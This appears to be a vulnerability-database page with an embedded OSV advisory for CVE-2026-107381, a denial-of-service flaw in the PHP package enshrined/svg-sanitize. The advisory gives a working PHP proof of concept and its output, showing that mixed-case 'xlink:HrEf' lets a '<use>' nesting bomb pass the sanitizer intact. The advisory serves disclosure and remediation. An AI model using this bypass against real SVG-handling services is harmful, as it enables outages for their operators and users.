CVE-2026-107381: svg-sanitizer Denial of Service Vulnerability
MODERATECVE-2026-107381 is a MODERATE (CVSS 6.5) denial of service vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting svg-sanitizer libraries in the Packagist ecosystem. The issue involves mixed-case xlink:href skips the `<use>` nesting-dos check in resolver::processreferences. Remediation is available by upgrading affected packages to version 1.0.0.
CVE-2026-107381 at a Glance
Security Impact
CVSS: 6.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H).
How to Fix CVE-2026-107381
To remediate this vulnerability, upgrade all affected svg-sanitizer dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade enshrined/svg-sanitize to 1.0.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for enshrined/svg-sanitize
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-107381, inspect your project dependencies for svg-sanitizer:
inspect dependencies for enshrined/svg-sanitize
Analyze the terminal output to locate any version of svg-sanitizer in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.0.0), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In svg-sanitizer, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-107381 Affected svg-sanitizer Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
enshrined/svg-sanitize
|
Packagist |
< 1.0.0
|
1.0.0
|
References
Frequently Asked Questions
What is CVE-2026-107381?
Which svg-sanitizer versions are affected?
What version fixes CVE-2026-107381?
Is enshrined/svg-sanitize affected?
What is the CVSS score of CVE-2026-107381?
What CWE is associated with CVE-2026-107381?
How can I check Packagist dependencies for CVE-2026-107381?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-m9xh-6747-9r6f",
"modified" : "2026-10-08T19:41:10Z",
"published" : "2026-10-08T19:41:10Z",
"aliases" : [ "CVE-2026-107381" ],
"summary" : "svg-sanitizer: Mixed-case xlink:HrEf skips the `<use>` nesting-DoS check in Resolver::processReferences",
"details" : "## Summary\n\n`Resolver::processReferences()` collects `<use>` elements with the XPath predicate `use[@href or @xlink:href]`, which is case sensitive. A `<use>` element written as `xlink:HrEf` is therefore never added to the reference graph, so the nesting-DoS nullification never marks it for removal. `Sanitizer::cleanHrefAttributes()` then runs later in the same pass and rewrites `xlink:HrEf` back to the canonical `xlink:href`. The sanitizer hands back a fully live nesting bomb that it would have stripped completely had the input used canonical casing.\n\nThis is the mirror image of CVE-2025-55166: that fix made href *value* checking case insensitive, but the `<use>` reference graph still selects nodes case sensitively.\n\n## Where it is\n\n`src/ElementReference/Resolver.php:97-118`, the case-sensitive node selection:\n\n```php\n$useNodeName = $this->xPath->createNodeName('use');\nforeach ($this->subjects as $subject) {\n $useElements = $this->xPath->query(\n $useNodeName . '[@href or @xlink:href]',\n $subject->getElement()\n );\n```\n\n`src/Sanitizer.php:479-504`, the normalization that happens afterwards and makes the attribute live again:\n\n```php\n// in case the attribute name is `HrEf`/`xlink:HrEf`, adjust it to `href`/`xlink:href`\nif (!in_array($attribute->nodeName, $this->allowedAttrs, true)\n && in_array(strtolower($attribute->nodeName), $this->allowedAttrs, true)\n) {\n $element->removeAttribute($attribute->nodeName);\n $element->setAttribute(strtolower($attribute->nodeName), $attribute->value);\n}\n```\n\nOrdering is the whole bug. `Sanitizer::sanitize()` builds the resolver graph first and normalizes attribute casing second, so the graph is built against names the sanitizer is about to change.\n\n## Impact\n\nAnyone who can submit an SVG to an application that sanitizes it with this library and then serves it. No privileges beyond being able to upload or paste an SVG. The output is the project's own `tests/data/useDosTest.svg` nesting structure, intact, with canonical `xlink:href` attributes, which is exactly the input the `useNestingLimit` machinery exists to defuse.\n\n## Proof of concept\n\nAgainst a clean clone of tag `0.22.0`. The only change to the input is rewriting `xlink:href` to `xlink:HrEf` in the project's own DoS fixture.\n\n```php\n<?php\nspl_autoload_register(function ($class) {\n $p = 'enshrined\\\\svgSanitize\\\\';\n if (strpos($class, $p) !== 0) return;\n $rel = str_replace('\\\\', '/', substr($class, strlen($p)));\n $f = __DIR__ . '/svgsan/src/' . $rel . '.php';\n if (file_exists($f)) require $f;\n});\n$orig = file_get_contents(__DIR__ . '/svgsan/tests/data/useDosTest.svg');\n$mut = str_replace('xlink:href', 'xlink:HrEf', $orig);\n\nfunction run($label, $input) {\n $s = new \\enshrined\\svgSanitize\\Sanitizer();\n $s->removeRemoteReferences(true);\n $out = $s->sanitize($input);\n echo \"[$label]\\n\";\n echo \" output <use count : \", substr_count($out, '<use '), \"\\n\";\n echo \" output xlink:href : \", (strpos($out,'xlink:href')!==false?'YES':'NO'), \"\\n\";\n echo \" output xlink:HrEf : \", (strpos($out,'xlink:HrEf')!==false?'YES':'NO'), \"\\n\";\n}\nrun('canonical xlink:href (control)', $orig);\nrun('mixed-case xlink:HrEf (attack)', $mut);\n```\n\nObserved on PHP 8.5.9:\n\n```text\norig use count: 201\nmutated input has xlink:HrEf: YES\n\n[canonical xlink:href (control)]\n output <use count : 0\n output xlink:href : NO\n output xlink:HrEf : NO\n[mixed-case xlink:HrEf (attack)]\n output <use count : 201\n output xlink:href : YES\n output xlink:HrEf : NO\n```\n\n201 to 0 on canonical input, 201 to 201 on mixed-case input, and the output attribute name comes back canonical either way. To be precise about what I measured: I measured the nullification being skipped and the attribute being re-canonicalized. I did not measure renderer memory or CPU on the resulting file, so the downstream cost is whatever you already assign to `useDosTest.svg`.\n\n## Suggested fix\n\nStop matching attribute names case sensitively when the reference graph is built. Either select every descendant `use` and resolve the href in PHP with a case-insensitive local-name lookup (an extension of `Helper::getElementHref()` at `Helper.php:10-19` is the smallest change), or move the `cleanHrefAttributes()` canonicalization so it runs before `$this->elementReferenceResolver->collect()` rather than after, so the resolver only ever sees `href` and `xlink:href`. The second option also removes the general class of bug where the graph and the cleaner disagree about a node's identity.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "enshrined/svg-sanitize"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.0.0"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 0.22.0"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/darylldoyle/svg-sanitizer/security/advisories/GHSA-m9xh-6747-9r6f"
}, {
"type" : "WEB",
"url" : "https://github.com/darylldoyle/svg-sanitizer/commit/2dff6628314de8519155b7feb218bbe132785757"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/darylldoyle/svg-sanitizer"
}, {
"type" : "WEB",
"url" : "https://github.com/darylldoyle/svg-sanitizer/releases/tag/1.0.0"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-178", "CWE-400" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-10-08T19:41:10Z",
"nvd_published_at" : null
}
}